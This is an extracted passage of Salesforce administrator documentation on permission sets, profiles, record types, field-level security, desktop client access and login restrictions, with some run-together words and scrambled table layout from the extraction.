  • 23. Procedure to View or EditSetting Under the Enabled Apex Class Access section, click Edit.Executable Apex classes Under the Enabled Visualforce Page Access section, click Edit. Executable Visualforce pages ViewingandEditingTabSettingsinPermissionSetsandProfiles Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set. User Permissions Needed “View Setup and Configuration”To view tab settings: “Manage Users”To edit tab settings: 1. From Setup, click Manage Users, then click Permission Sets or Profiles. 2. Select a permission set or profile. 3. Do one of the following: • Permission sets or enhanced profile user interface—In the Find Settings... box, enter the name of the tab you want and select it from the list, then click Edit. • Original profile user interface—Click Edit, then scroll to the Tab Settings section. 4. Specify the tab settings. 5. (Original profile user interface only) To reset users’ tab customizations to the tab visibility settings that you specify, select Overwrite users' personal tab customizations. 6. Click Save. Note: If Salesforce CRM Content is enabled for your organization but the SalesforceCRMContentUser checkbox isn’t enabled on the user detail page, the Salesforce CRM Content app has no tabs. AssigningRecordTypesandPageLayoutsintheEnhancedProfile User Interface User Permissions Needed “Manage Users” AND “Customize Application” To edit object permissions and settings: In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and page layout assignment mappings that are used when users view records. They also determine which record types are available when users create or edit records. To specify record types and page layout assignments: 17 Viewing and Editing Tab Settings in Permission Sets and Profiles Securing and Sharing Data
  • 24. 1. From Setup, click Manage Users > Profiles. 2. Select a profile. 3. In the Find Settings... box, enter the name of the object you want and select it from the list. 4. Click Edit. 5. In the Record Types and Page Layout Assignments section, make changes to the settings as needed. DescriptionSetting Lists all existing record types for the object. --Master-- is a system-generated record type that's used when a record has no custom record type associated with it. When --Master-- is assigned, users Record Types can't set a record type to a record, such as during record creation. All other record types are custom record types. The page layout to use for each record type. The page layout determines the buttons, fields, related lists, and other elements that users with this profile see Page Layout Assignment when creating records with the associated record type. Since all users can access all record types, every record type must have a page layout assignment, even if the record type isn't specified as an assigned record type in the profile. Record types that are checked in this column are available when users with this profile create records for the object. If --Master-- is selected, you can't select Assigned Record Types any custom record types; and if any custom record types are selected, you can't select --Master--. The default record type to use when users with this profile create records for the object. Default Record Type The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs. VariationObject or Tab If your organization uses person accounts, the accounts object additionally includes Business Account Default Record Type and Person Account Default Record Accounts Type settings, which specify the default record type to use when the profile's users create business or person account records from converted leads. The cases object additionally includes CaseClose settings, which show the page layout assignments to use for each record type on closed cases. That is, the same Cases record type may have different page layouts for open and closed cases. With this additional setting, when users close a case, the case may have a different page layout that exposes how it was closed. You can't specify custom record types for the home tab. You can only select a page layout assignment for the --Master-- record type. Home 6. Click Save. 18 Assigning Record Types and Page Layouts in the Enhanced Profile User Interface Securing and Sharing Data
  • 25. Assigning Record Types to Profiles in the Original Profile User Interface User Permissions Needed “Customize Application”To assign record types to profiles: After creating record types and including picklist values in them, add record types to user profiles and assign a default record type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records they create or edit. Note: Any user can view records having any record type, even if the record type is not associated with their profile. A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and software sales can have both “Hardware” and “Software” record types available when creating opportunities if both record types have been added to the user’s profile. 1. From Setup, click Manage Users > Profiles. 2. Select a profile. The record types available for that profile are listed in the Record Type Settings section. 3. Click Edit next to the appropriate type of record. 4. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available to users with that profile. Master is a system-generated record type that's used when a record has no custom record type associated with it. When Master is assigned, users can't set a record type to a record, such as during record creation. All other record types are custom record types. 5. From the Default drop-down list, choose a default record type. If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of the accounts home page. 6. If your organization uses person accounts, set additional options for the default record types for both person accounts and business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting leads. • From the Business Account Default Record Type drop-down list, choose a default record type for business accounts. • From the Person Account Default Record Type, choose a default record type for person accounts. 7. Click Save. Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and default value for the master are available in all accounts. Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that section is an alternative way of opening the page where you set record type defaults for accounts. 19 Assigning Record Types to Profiles in the Original Profile User Interface Securing and Sharing Data
  • 26. Assigning Page Layouts in the Original Profile User Interface User Permissions Needed “Manage Users”To assign page layouts: 1. From Setup, click Manage Users > Profiles. 2. Select a profile. 3. Click View Assignment next to any tab name in the Page Layouts section. 4. Click Edit Assignment. 5. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type. Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your changes. 6. If necessary, select another page layout from the Page Layout To Use drop-down list and repeat the previous step for the new page layout. 7. Click Save. Permission Sets Overview Watch a Video Tutorial: Who Sees What: Permission Sets A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings and permissions in permission sets are also found in profiles, but permission sets extend users’ functional access without changing their profiles. For example, to give users access to a custom object, create a permission set, enable the required permissions for the object, and assign the permission set to the users. You never have to change profiles, or create a profile for a single use case. While users can have only one profile, they can have multiple permission sets. Permission sets include settings for: • Assigned apps • Object settings, which include: ◊ Tab settings ◊ Record type settings ◊ Object permissions ◊ Field permissions • App permissions • Apex class access • Visualforce page access • System permissions • Service providers (only if you've enabled Salesforce as an identity provider) Note: • Some user licenses restrict the number of custom apps or tabs a user can access. Salesforce calculates the total allowed number of custom tabs and assigned apps from settings in a user’s assigned profile plus any assigned permission sets. For users with a license that restricts the number of apps or tabs, you can't assign more than the 20 Assigning Page Layouts in the Original Profile User InterfaceSecuring and Sharing Data
  • 27. allotted limit through their assigned profile and permission sets. For example, a user with the Force.com App Subscription user license with access to one Force.com Light App can access only that app’s custom tabs. • In Group and Professional Editions, permission sets may be included in installed packages, where they can be viewed and assigned to users but not edited. Creating Permission Sets User Permissions Needed “Manage Users”To create permission sets: You can either clone an existing permission set or create a new one. A cloned permission set starts with the same user license and enabled permissions as the permission set it is cloned from, while a new permission set starts with no user license selected and no permissions enabled. You can create up to 1,000 permission sets. 1. From Setup, click Manage Users > Permission Sets. 2. Do one of the following: • To create a permission set with no permissions enabled, click New. • To create a permission set based on an existing set, click Clone next to the set you want to copy. You can also select the permission set and click Clone in the overview page or one of the settings pages. Note: Clone a permission set only if the new one should have the same user license as the original. In a cloned permission set, you can't select a different license. 3. Enter a label, API name, and description. The API name is a unique name used by the Force.com API and managed packages. It must begin with a letter and use only alphanumeric characters and underscores. It can't include spaces, end with an underscore, or have two consecutive underscores. 4. If this is a new permission set, select a user license option. If you plan to assign this permission set to multiple users with different licenses, select --None--. If only users with one type of license will use this permission set, select the user license that’s associated with them. For more information, see About User Licenses in Permission Sets on page 21. If you’re cloning a permission set, you can’t select a user license. If the User License field is blank, no user license is associated with the permission set. 5. Click Save. The permission set overview page appears. From here you can navigate to the permissions you want to add or change. About User Licenses in Permission Sets When creating a permission set, you can select a specific user license or --None--. If you’re selecting a specific license, select the license that matches the users who will use the permission set. For example, if you plan to assign this permission set to users with the Salesforce license, select Salesforce. If you plan to assign this permission set to multiple users with different licenses, select --None--, for no user license. With this option, you can assign the permission set to any users whose license allows the enabled permissions. For example, if you 21 Creating Permission SetsSecuring and Sharing Data
  • 28. plan to assign the permission set to users with the Salesforce license as well as users with the Salesforce Platform license, select --None--. Note: • Permission sets with no user license don’t include all possible permissions and settings. • You can only assign a permission set with no license to users whose licenses allow the enabled permissions and settings. For example, if you create a permission set with no user license and enable “Author Apex,” you can’t assign that permission set to users with the Salesforce Platform user license because the license doesn’t allow that permission. Creating and Editing Permission Set List Views User Permissions Needed “Manage Users”To create, edit, and delete permission set list views: You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which “Modify All Data” is enabled. 1. In the Permission Sets page, click Create New View, or select a view and click Edit. 2. Enter the view name. 3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True. a. Type a setting name, or click to search for and select the setting you want. b. Choose a filter operator. c. Enter the value that you want to match. Tip: To show only permission sets with no user license, enter User License for the Setting, set the Operator to equals, and enter "" in the Value field. d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows. To remove a filter condition row and clear its values, click . 4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add up to 15 columns. a. From the Search drop-down list, select a setting type. b. Enter part or all of a word in the setting you want to add and click Find. Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results. c. To add or remove columns, select one or more column names and click the Add or Remove arrow. d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want. 5. Click Save, or if you're cloning an existing view, rename it and click Save As. 22 Creating and Editing Permission Set List ViewsSecuring and Sharing Data
  • 29. Editing Permission Sets from a List View User Permissions Needed “Manage Users” AND “Customize Application” To edit multiple permission sets from the list view: You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets. Note: Use care when editing permission sets with this method. Making mass changes may have a widespread effect on users in your organization. 1. Select or create a list view that includes the permission sets and permissions you want to edit. 2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on multiple pages, the selections on each page are remembered. 3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the selected permission sets. 4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a permission set and you disable “Transfer Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions. 5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected). 6. Click Save. If you edit multiple permission sets, only those that support the permission you are changing will change. For example, if you use inline editing to enable “Modify All Data” in a permission set, but because of its user license the permission set doesn't have “Modify All Data,” the permission set won't change. If any errors occur, the error message lists each permission set and a description of the error. Click the permission set name to open its overview page. The permission sets you've clicked appear in the error window in gray, strike-through text. Any changes you make are recorded in the setup audit trail. Working in a Permission Set's Overview Page User Permissions Needed “View Setup and Configuration”To view permission sets: “Manage Users”To delete permission sets and edit permission set properties: A permission set's overview page provides an entry point for all of the permissions in a permission set. To open a permission set overview page, from Setup, click Manage Users > Permission Sets and select the permission set you want to view. From the permission set overview page, you can: • Search for permissions and settings • Create a permission set based on the current permission set 23 Editing Permission Sets from a List ViewSecuring and Sharing Data
  • 30. • If it's not assigned to any users, remove the permission set by clicking Delete • Change the permission set label, API name, or description by clicking Edit Properties • View and manage the users assigned to the permission set • View or edit: ◊ Assigned apps ◊ Assigned connected apps ◊ Object settings (tab and record type settings, object permissions, and field permissions) ◊ App permissions ◊ Apex class access settings ◊ Visualforce page access settings ◊ Visibility of data categories, if you've enabled them ◊ System permissions ◊ Service providers (if you've enabled Salesforce as an identity provider) About App and System Settings in Permission Sets In permission sets, permissions and settings are organized into app and system categories, which reflect the rights users need to administer and use system and app resources. App Settings Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members. The Apps section of the permission sets overview page contains settings that are directly associated with the business processes the apps enable. For example, customer service agents might need to manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains links to: • Assigned apps • Object settings, which include: ◊ Tab settings ◊ Record type settings ◊ Object permissions ◊ Field permissions • Apex class access settings • Visualforce page access settings System Settings Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration” allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such 24 About App and System Settings in Permission SetsSecuring and Sharing Data
  • 31. as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader. In the permission sets overview page, the System section contains links to: • System permissions • Service providers (if you've enabled Salesforce as an identity provider) Permission Set Assigned Users Page From the Assigned Users page, you can view all users who are assigned to a permission set, assign additional users, and remove user assignments. User Permissions Needed “View Setup and Configuration”To view users that are assigned to a permission set: To view all users that are assigned to a permission set, from any permission set page, click Manage Assignments. From the Assigned Users page, you can: • Assign users to the permission set • Remove user assignments from the permission set • Edit a user • View a user's detail page by clicking the name, alias, or username • View a profile by clicking the profile name Searching Permission Sets User Permissions Needed “View Setup and Configuration”To search permission sets: On any of the permission sets detail pages, type at least three consecutive letters of an object, setting, or permission name in the FindSettings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page. You can search for: ExampleItem Type sales in the Find Settings box, then select Sales from the list.Assigned apps Type an existing object’s name. For example, let’s say you have an Albums custom object, type albu, then select Albums. Objects Type the name of the object that contains the field. For example, let’s say your Albums object contains a Description field. To find the Description Fields field for albums, type albu, select Albums, and scroll down to Description under Field Permissions. Type an existing tab’s name. For example, type rep, then select Reports.Tabs 25 Permission Set Assigned Users PageSecuring and Sharing Data
  • 32. ExampleItem Type the name of the object that contains the record type. For example, let’s say you want to review the record type assignments in the Contacts object. Type conta, then select Contacts. Record types Type apex, then select Apex Class Access.Apex class access settings Type VISU, then select Visualforce Page Access.Visualforce page access settings Type api, then select API Enabled.App and System permissions Type serv, then select Service Providers.Service providers (available only if Salesforce is enabled as an identity provider) If no results appear in a search: • The permission, object, or setting you're searching for may not be available in the current organization. • The item you're searching for may not be available for the user license that's associated with the current permission set. For example, a permission set with the Standard Platform User license doesn't include the “Modify All Data” permission. • Be sure your search terms have at least three consecutive characters that match the object, setting, or permission name. • Be sure the search term is spelled correctly. Viewing and Editing Assigned Apps in Permission Sets Assigned app settings specify the apps that users can select in the Force.com app menu. Available in: Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “View Setup and Configuration”To view assigned app settings: “Manage Users”To edit assigned app settings: Unlike profiles, you can’t assign a default app in permission sets. You can only specify whether apps are visible. To assign apps: 1. From Setup, click Manage Users > Permission Sets. 2. Select a permission set, or create one. 3. On the permission set overview page, click Assigned Apps. 4. Click Edit. 5. To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select them from the Enabled Apps list and click Remove. 6. Click Save. Assigning Custom Record Types in Permission Sets Available in: Enterprise, Performance, Unlimited, and Developer Editions 26 Viewing and Editing Assigned Apps in Permission SetsSecuring and Sharing Data
  • 33. User Permissions Needed “Manage Users”To assign record types in permission sets: 1. From Setup, click Manage Users > Permission Sets. 2. Select a permission set, or create one. 3. On the permission set overview page, click Object Settings, then click the object you want. 4. Click Edit. 5. Select the record types you want to assign to this permission set. 6. Click Save. Overview of Record Type Access You can assign record types to users in their profile or permission sets, or a combination of both. Record type assignment behaves differently in profiles and permission sets. • A user’s default record type is specified in their profile. You can’t specify a default record type in permission sets. • You can assign the --Master-- record type in profiles, but not permission sets; only custom record types can be assigned in permission sets. Depending on the record types assigned in profiles: ◊ If users have --Master-- on their profile and no custom record types in their permission sets, when they create a record, the Master record type is associated with the new record. ◊ If users have --Master-- on their profile and only one custom record type in their permission sets, when they create a record, the new record is associated with the custom record type. Users won’t have the option to select the Master record type. ◊ If users have --Master-- on their profile and multiple custom record types in their permission sets, when they create a record, they’re prompted to choose a record type. In their personal settings, users don’t have the option to automatically use their default record type. ◊ If users have a custom record type on their profile and any custom record types in their permission sets, when they create a record, they’re prompted to choose a record type. In their personal settings, users can set an option to automatically use their default record type and not be prompted to choose a record type. • Page layout assignments are specified in profiles only—they’re not available in permission sets. When you assign a custom record type in a permission set, users with that permission set get the page layout assignment that’s specified for that record type in their profile. (In profiles, page layout assignments are specified for every record type, even when record types aren’t assigned.) • For lead conversion, the default record type specified in a user’s profile is used for the converted records. • Users can view records assigned to any record type. As a result, a page layout is assigned to every record type on a user's profile. A record type assignment on a user’s profile or permission set does not determine whether a user can view a record with that record type; rather, the record type assignment simply specifies that the user can use that record type when creating or editing a record. • Record types in permission sets aren’t supported in packages and change sets. As a result, any record type assignments in permission sets in a sandbox organization must be manually reproduced in a production organization. Manage Permission Set Assignments You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any permission set page. • Assign Permission Sets to a Single User 27 Overview of Record Type AccessSecuring and Sharing Data
  • 34. • Assign a Permission Set to Multiple Users • Remove User Assignments from a Permission Set Assign Permission Sets to a Single User You can assign permission sets or remove permission set assignments for a single user from the user detail page. User Permissions Needed “Manage Users”To assign permission sets: 1. From Setup, click Manage Users > Users. 2. Select a user. 3. In the Permission Set Assignments related list, click Edit Assignments. 4. To assign a permission set, select it from the Available Permission Sets box and click Add. To remove a permission set assignment, select it from the Enabled Permission Sets box and click Remove. Note: • The Permission Set Assignments page shows permission sets with no associated license and permission sets that match the user's license. For example, if a user's license is Chatter Only, you can assign permission sets with the Chatter Only license and permission sets with no associated license to that user. If you assign a permission set with no associated user license, all of its enabled settings and permissions must be allowed by the user’s license, or the assignment will fail. • Some permissions require users to have permission set licenses before the user can have those permissions. For example, if you add the “Use Identity Connect” permission to the “Identity” permission set, only users with the Identity Connect permission set license can be assigned the “Identity” permission set. 5. Click Save. Assign a Permission Set to Multiple Users From any permission set page, you can assign the permission set to one or more users. Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions User Permissions Needed “Manage Users”To assign a permission set to users: 1. From Setup, click Manage Users > Permission Sets. 2. Select a permission set. 3. In the permission set toolbar, click Manage Assignments. 4. Click Add Assignments. If any users are selected, this button isn’t available. 5. Select the users to assign to this permission set. You can assign up to 1000 users at a time. 28 Assign Permission Sets to a Single UserSecuring and Sharing Data
  • 35. Tip: Use the selected list view, select another list view, or to narrow the list of users using a different filter criteria, create a new list view. 6. Click Assign. 7. Review the messages on the Assignment Summary page. If any users weren’t assigned, the Message column lists the reasons. 8. To return to a list of all users assigned to the permission set, click Done. Remove User Assignments from a Permission Set From any permission set page, you can remove the permission set assignment from one or more users. Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions User Permissions Needed “Manage Users”To remove permission set assignments: 1. From Setup, click Manage Users > Permission Sets. 2. Select a permission set. 3. In the permission set toolbar, click Manage Assignments. 4. Select the users to remove from this permission set. You can remove up to 1000 users at a time. 5. Click Remove Assignments. This button is only available when one or more users are selected. 6. To return to a list of all users assigned to the permission set, click Done. Object Permissions Object permissions either respect or override sharing rules and settings. You can enable object permissions in permission sets and custom profiles. The following permissions specify the access that users have to objects. Respects or Overrides Sharing? DescriptionPermission Respects sharingUsers can only view records of this type.Read Respects sharingUsers can read and create records.Create Respects sharingUsers can read and update records.Edit Respects sharingUsers can read, edit, and delete records.Delete Overrides sharingUsers can view all records associated with this object, regardless of sharing settings. View All 29 Remove User Assignments from a Permission SetSecuring and Sharing Data
  • 36. Respects or Overrides Sharing? DescriptionPermission Overrides sharingUsers can read, edit, delete, transfer, and approve all records associated with this object, regardless of sharing settings. Modify All Note: “Modify All” on documents allows access to all shared and public folders, but not the ability to edit folder properties or create new folders. To edit folder properties and create new folders, users must have the “Manage Public Documents” permission. “View All” and “Modify All” Permissions Overview The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to quickly grant access to records associated with a given object across the organization. “View All” and “Modify All” may be preferable alternatives to the “View All Data” and “Modify All Data” permissions. Be aware of the following distinctions between the permission types. Users who Need themUsed forPermissions Delegated administrators who need to manage records for specific objects Delegation of object permissionsView All Modify All Administrators of an entire organizationManaging all data in an organization; for example, data cleansing, deduplication, mass deletion, mass transferring, and managing record approvals View All Data Modify All Data Users who need to view all users in the organization, especially if the organization-wide Viewing all users in the organization. This permission grants you Read access to all users, so View All Users default for the user object is Private.that you can see their user record details, see them in searches, list views, and so on. Administrators with the “Manage Users” permission are automatically granted the “View All Users” permission. “View All” and “Modify All” are not available for ideas, price books, article types, and products. “View All” and “Modify All” allow for delegation of object permissions only. To delegate user administration and custom object administration duties, define delegated administrators. “View All Users” is available if your organization has User Sharing, which controls user visibility in the organization. To learn about User Sharing, see User Sharing Overview. Comparing Security Models Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records. 30 “View All” and “Modify All” Permissions OverviewSecuring and Sharing Data
  • 37. The “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing settings, which control access to data at the record level. The “View All” and “Modify All” permissions override sharing settings for specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing settings for all objects. The following table describes the differences between the security models. Permissions that Override SharingPermissions that Respect Sharing Delegated data administratorsEnd-usersTarget audience “View All” and “Modify All”“Read,” “Create,” “Edit,” and “Delete” object permissions; Sharing settings Where managed “View All” and “Modify All”Private, Read-Only, Read/Write, Read/Write/Transfer/Full Access Record access levels Available on all objects with “Modify All”Respects sharing settings, which vary by object Ability to transfer Available on all objects with “Modify All”NoneAbility to approve records, or edit and unlock records in an approval process Available on all objects with “View All”Available with a sharing rule that states: the records owned by the public group Ability to report on all records “Entire Organization” are shared with a specified group, with Read-Only access Available on most objects via object permissions Available on all objects except products, documents, solutions, ideas, notes, and attachments Object support Note: “View All” and “Modify All” are not available for ideas, price books, article types, and products. Profile or permission setsRoles, Roles and Subordinates, Roles and Internal Subordinates, Roles, Internal Group access levels determined by and Portal Subordinates, Queues, Teams, and Public Groups Available on private contacts, opportunities, and notes and attachments with “View All” and “Modify All” Not availablePrivate record access Available on all objects with “Modify All”Available to the record owner and any user above the record owner in the role hierarchy Ability to manually share records Available with “Modify All” on casesNot availableAbility to manage all case comments 31 Comparing Security ModelsSecuring and Sharing Data
  • 38. Field-Level Security Overview Note: Who Sees What: Field-level Security Watch how you can restrict access to specific fields on a profile by profile basis. Field-level security settings let administrators restrict users’ access to view and edit specific fields in: • Detail and edit pages • Related lists • List views • Reports • Connect Offline • Email and mail merge templates • Custom links • The partner portal • The Salesforce Customer Portal • Synchronized data • Imported data The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read-only in the field-level security settings, the field-level security overrides the page layout and the field will be read-only for the user. Important: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field values protected by field-level security, the associated records are returned in the search results without the protected fields and their values. You can define field-level security in any of the following ways: • For multiple fields on a single permission set or profile • For a single field on all profiles After setting field-level security for users, you can: • Create page layouts to organize the fields on detail and edit pages. Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. • Verify users’ access to fields by checking the field accessibility. • Customize search layouts to set the fields that display in search results, in lookup dialog search results, and in the key lists on tab home pages. Note: Roll-up summary and formula fields are always read-only on detail pages and not available on edit pages. They may also be visible to users even though they reference fields that your users cannot see. Universally required fields always display on edit pages regardless of field-level security. The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. 32 Field-Level Security OverviewSecuring and Sharing Data
  • 39. Setting Field Permissions in Permission Sets and Profiles Field permissions specify the access level for each field in an object. User Permissions Needed “Customize Application”To set field-level security: 1. From Setup, click Manage Users, then click Permission Sets or Profiles. 2. Select a permission set or profile. 3. Depending on which interface you're using, do one of the following: • Permission sets or enhanced profile user interface—In the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit, then scroll to the Field Permissions section. • Original profile user interface—In the Field-Level Security section, click View next to the object you want to modify, and then click Edit. 4. Specify the field's access level. 5. Click Save. Setting Field-Level Security for a Single Field on All Profiles User Permissions Needed “Customize Application”To set field-level security: 1. From Setup, click Customize, click a tab or activity link, and click Fields. 2. Select the field you want to modify. 3. Click Set Field-Level Security. 4. Specify the field's access level. 5. Click Save. Field Permissions Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields. Enabled Settings in Original Profile and Field-Level Security Interfaces Enabled Settings in Permission Sets and Enhanced Profile User Interface Access Level VisibleRead and EditUsers can read and edit the field. Visible and Read-OnlyReadUsers can read but not edit the field. NoneNoneUsers can't read or edit the field. 33 Setting Field Permissions in Permission Sets and ProfilesSecuring and Sharing Data
  • 40. User Permissions User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup and Configuration” permission can view Setup pages, and users with the “API Enabled” user permission can access any Salesforce API. You can enable user permissions in permission sets and profiles. In permission sets and the enhanced profile user interface, these permissions—as well as their descriptions—are listed in the App Permissions or System Permissions pages. In the original profile user interface, user permissions are listed under Administrative Permissions and General User Permissions. To view permissions and their descriptions, from Setup, click Manage Users > Permission Sets, then select or create a permission set. Then from the Permission Set Overview page, click App Permissions or System Permissions. Desktop Client Access Overview Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. To set permissions for Salesforce for Outlook, use the “Manage Email Client Configurations” permission. You can set users' access to desktop client by editing their profiles. The desktop client access options are: MeaningOption The respective client download page in users’ personal settings is hidden. Also, users can't log in from the client. Off (access denied) The respective client download page in users’ personal settings is hidden. Users can log in from the client but can't upgrade it from their current version. On, no updates Users can download, log in from, and upgrade the client, but don't see alerts when a new version is made available. On, updates w/o alerts Users can download, log in from, and upgrade the client. They can see update alerts, and can follow or ignore them. On, updates w/alerts Users can download, log in from, and upgrade the client. When a new version is available, they can see an update alert. They can't log in from the client until they have upgraded it. On, must update w/alerts Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users have the system default “On, updates w/o alerts” for all clients. Note: • Desktop client access is available only for users whose profiles have the “API Enabled” permission. • If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their profile setting is “Off (access denied)” or “On, must update w/alerts,” the error Invalid Salesforce API request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook 2.0 or later will see an appropriate descriptive message. 34 User PermissionsSecuring and Sharing Data
  • 41. If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run installer files. From their personal settings, users can also access the Check for Updates page, regardless of whether an alert has occurred. WorkingwithDesktopClientAccessintheEnhancedProfileUserInterface User Permissions Needed “View Setup and Configuration”To view desktop client access settings: “Manage Users”To edit desktop client access settings: Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. Note: To access desktop clients, users must also have the “API Enabled” permission. On the Desktop Client Access page in the enhanced profile user interface, you can: • Change the desktop client access settings by clicking Edit • Search for an object, permission, or setting • Clone the profile • If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete • Change the profile name or description by clicking Edit Properties • Go to the profile overview page by clicking Profile Overview • Switch to a different settings page by clicking the down arrow next to the Desktop Client Access name and selecting the page you want Viewing and Editing Desktop Client Access in the Original Profile User Interface User Permissions Needed “View Setup and Configuration”To view desktop client access settings: “Manage Users”To edit desktop client access settings: Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. Note: To access desktop clients, users must also have the “API Enabled” permission. 1. From Setup, click Manage Users > Profiles. 2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page. 35 Working with Desktop Client Access in the Enhanced Profile User Interface Securing and Sharing Data
  • 42. Setting Login Restrictions To help protect your organization’s data against unauthorized access, you have several options for setting login restrictions. Login Hours For each profile, you can set the hours when users can log in. See: • Viewing and Editing Login Hours in the Enhanced Profile User Interface • Viewing and Editing Login Hours in the Original Profile User Interface Two-Factor Authentication for User Interface Logins For each profile, you can require users to enter a time-based token as a second form of authentication when they log in via the user interface. See “Setting Two-Factor Authentication Login Requirements” in the Salesforce Help. Two-Factor Authentication for API Logins For each profile, you can allow the use of a time-based token to access the service instead of the standard security token. If users add a time-based token to their account and this permission is enabled, they must use this token instead of the standard security token whenever it’s requested, such as when resetting the account’s password. See “Using Time-Based Tokens to Access the API” in the Salesforce Help. Login IP Address Ranges For each profile, you can set the IP addresses from which users can log in. See: • Restricting Login IP Ranges in the Enhanced Profile User Interface • Restricting Login IP Addresses in the Original Profile User Interface Organization-Wide Trusted IP Address List For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge. See Restricting Login IP Ranges for Your Organization. When users log in to Salesforce, either via the user interface, the API, or a desktop client such as Connect for Outlook, Salesforce for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader, Salesforce confirms that the login is authorized as follows: 1. Salesforce checks whether the user’s profile has login hour restrictions. If login hour restrictions are specified for the user’s profile, any login outside the specified hours is denied. 2. If the user has the “Two-Factor Authentication for User Interface Logins” permission, Salesforce prompts the user for a time-based token (which the user may also be prompted to create if it hasn’t already been added to the account) upon logging in. 3. If the user has the “Two-Factor Authentication for API Logins” permission and a time-based token has been added to the account, Salesforce returns an error if a time-based token is not used to access the service in place of the standard security token. 4. Salesforce then checks whether the user’s profile has IP address restrictions. If IP address restrictions are defined for the user’s profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. 5. If profile-based IP address restrictions are not set, Salesforce checks whether the user is logging in from an IP address they have not used to access Salesforce before: • If the user’s login is from a browser that includes a Salesforce cookie, the login is allowed. The browser will have the Salesforce cookie if the user has previously used that browser to log in to Salesforce, and has not cleared the browser cookies. • If the user’s login is from an IP address in your organization’s trusted IP address list, the login is allowed. 36 Setting Login RestrictionsSecuring and Sharing Data
